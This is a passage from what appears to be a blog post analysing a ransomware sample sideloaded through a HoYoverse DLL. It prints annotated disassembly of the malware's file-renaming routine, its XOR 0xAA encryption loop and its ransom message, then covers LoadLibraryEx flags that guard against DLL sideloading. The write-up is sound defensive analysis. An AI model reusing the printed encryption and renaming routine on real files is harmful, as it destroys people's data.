lea rcx, [rsp+10170h+String1] // lpString1 (buffer for new name)
call cs:lstrcpyA
lea rdx, aK_0 // ".k"
lea rcx, [rsp+10170h+String1] // lpString1 (buffer with new name)
call cs:lstrcatA
lea rdx, [rsp+10170h+String1] // lpNewFileName
mov rcx, rsi // lpExistingFileName
call cs:MoveFileA
loc_1800013E2: // Function epilogue
mov rbx, [rsp+10170h+arg_0]
add rsp, 10150h
pop r15
pop r14
pop rdi
pop rsi
pop rbp
retn
sub_18000128C endp
// XOR encryption function
sub_180001400 proc near
test rdx, rdx
jz short locret_180001411
loc_180001405:
xor byte ptr [rcx], 0AAh
inc rcx
sub rdx, 1
jnz short loc_180001405
locret_180001411:
retn
sub_180001400 endp
At the end, the malware includes a hardcoded message.
RansomMessage:
db "I believe you encountered some problems. "
db "Email to to hoyoverse for solutions."
Its clear that from the simple encryption method and the hardcoded message seems to lack a clear motive other than being distruptive or the finale of a prank, that this isn't really a serious piece of ransomware. Yet the fact that HoYoverse didn't think to put safeguards to check the validity of the DLL running is, interesting.
For Windows 8 and later (or Windows 7 with KB2533623 installed), the LoadLibraryEx
function offers enhanced control over DLL loading. This native Windows API function provides several new flags designed to improve security and specificity in DLL loading.
Some notable flags include:
LOAD_LIBRARY_SEARCH_APPLICATION_DIR
: Searches the application's directory.LOAD_LIBRARY_SEARCH_SYSTEM32
: Searches the System32 directory.LOAD_LIBRARY_SEARCH_USER_DIRS
: Searches user-defined directories.LOAD_LIBRARY_REQUIRE_SIGNED_TARGET
: Ensures the loaded library is digitally signed.LOAD_LIBRARY_SAFE_CURRENT_DIRS
: Safely searches current directories.
These flags allow developers to specify exact search locations for DLLs. It also enhances security by requiring digital signatures.
Conclusion
Honestly, vulnerable drivers aren't rare and so are DLL sideload attacks. This is not to say that HoYoverse is incompetent, but perhaps more of an illustration on how big they have gotten as a cultural centerpiece. Which is a good thing.
Threat Actors leveraging HoYoverse tools and infrastructure will definitely grow, as the game is frequented by younger folks who are in prime internship age. Usually companies mandate interns to bring their own devices to work, and these devices can log into SSO systems and internal networks without being covered by an EDR solution making them a good soft target for threat actor.
Its infrastructure has also been somewhat of an interesting specimen, especially with a recent report from Kaspersky's GReAT stating that a threat actor has been targeting users of DingTalk and WeChat Enterprise with malware that was downloaded from MiHoYo servers.
Personally I'm excited for whats next, I'm all for commissioning more art of gacha women for my blogpost thats for sure.